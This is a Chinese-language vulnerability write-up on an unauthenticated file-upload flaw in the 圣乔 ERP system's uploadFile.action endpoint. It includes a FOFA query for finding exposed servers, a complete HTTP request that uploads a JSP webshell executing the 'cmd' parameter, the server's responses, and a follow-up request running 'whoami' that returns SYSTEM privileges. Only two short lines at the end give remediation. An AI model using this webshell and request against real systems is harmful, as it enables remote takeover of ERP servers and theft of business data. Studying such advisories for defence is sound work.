

圣乔ERP系统 uploadFile.action 文件上传致RCE漏洞

漏洞描述

圣乔ERP系统 uploadFile.action 接口存在文件上传漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

影响版本

圣乔ERP系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：app="圣乔-ERP系统"

POC/EXP：

POST /erp/wap/.../uploadFile.action HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36

Content-Type: multipart/form-data boundary=----WebKitFormBoundaryssh7UfnPpGU7BXfK

Accept: /

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip

Connection: close

-----WebKitFormBoundaryssh7UfnPpGU7BXfK

Content-Disposition: form-data; name="Filedata"; filename="rce.jsp"

Content-Type: image/png

```
<% java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b =
new byte[2048];out.print("

");while((a=in.read(b))!=-1){out.println(new String(b,0,a));}out.print("

");new java.io.File(application.getRealPath(request.getServletPath())).delete();%> -----
WebKitFormBoundaryssh7UfnPpGU7BXfk--
```

原始 HTTP 请求

```
1 POST /erp/wap/./uploadFile.action HTTP/1.1
2 Host: 
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/
537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
4 Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryssh7UfnPpGU7BXfk
5 Accept: */*
6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,
en;q=0.2
7 Accept-Encoding: gzip
8 Connection: close
9
10 -----WebKitFormBoundaryssh7UfnPpGU7BXfk
11 Content-Disposition: form-data; name="Filedata"; filename="rce.jsp"
12 Content-Type: image/png
13
14 <% java.io.InputStream in = Runtime.getRuntime().exec(request.
getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte
[2048];out.print("<pre");while((a=in.read(b))!=-1){out.println(new
String(b,0,a));}out.print("</pre");new java.io.File(application.
getRealPath(request.getServletPath())).delete();%>
15 -----WebKitFormBoundaryssh7UfnPpGU7BXfk--
```

原始 HTTP 响应

```
1 HTTP/1.1 200 HTTP/200 c8
2 Server: Apache-Coyote/1.1
3 Set-Cookie: JSESSIONID=714583DD18775EA1AE640FC9ED400F5; Path=/erp
4 Content-Type: text/html; charset=utf-8
5 Date: Tue, 10-Dec-2024 11:41:51 GMT
6 Connection: close
7 Content-Length: 2860
8
9 {
  "filedata": {
    "absolute": true, "absoluteFile": null,
    "absolutePath": "E:\\SageERP\\ERP\\Tomcat\\work\\erp\\upload_1a5bf2e3_
193aeb62470_7fff_00000123.tmp", "canonicalFile": null,
    "canonicalPath": "E:\\SageERP\\ERP\\Tomcat\\work\\erp\\upload_1a5bf2e3_
193aeb62470_7fff_00000123.tmp", "directory": false, "file": false,
    "freeSpace": 0, "hidden": false,
    "name": "upload_1a5bf2e3_193aeb62470_7fff_00000123.tmp",
    "parent": "E:\\SageERP\\ERP\\Tomcat\\work\\erp", "parentFile":
    {
      "absolute": true, "absoluteFile": null,
      "absolutePath": "E:\\SageERP\\ERP\\Tomcat\\work\\erp",
      "canonicalFile": null,
      "canonicalPath": "E:\\SageERP\\ERP\\Tomcat\\work\\erp",
      "directory": true, "file": false, "freeSpace": 3970712248320,
      "hidden": false, "name": "erp",
```

发送请求 强制 HTTPS 历史

Request

```
1 GET /erp/wap/./FileStorageDirectorynull/rce.jsp?cmd=whoami HTTP/
1.1
2 Content-Type: application/json
3 Host: 3
4
```

Responses 36bytes / 170ms 美化 渲染 详情

```
1 HTTP/1.1 200 HTTP/200 c8
2 Server: Apache-Coyote/1.1
3 Set-Cookie: JSESSIONID=0B09CE4161C85C1567F5C62F87A8861A;
Path=/erp
4 Cache-Control: max-age=0
5 Content-Type: text/html; charset=utf-8
6 Date: Tue, 10-Dec-2024 11:44:45 GMT
7 Content-Length: 36
8
9 <pre>nt-authority\system
10
11
12 </pre>
```

漏洞修复

关闭互联网暴露面或接口设置访问控制

升级至安全版本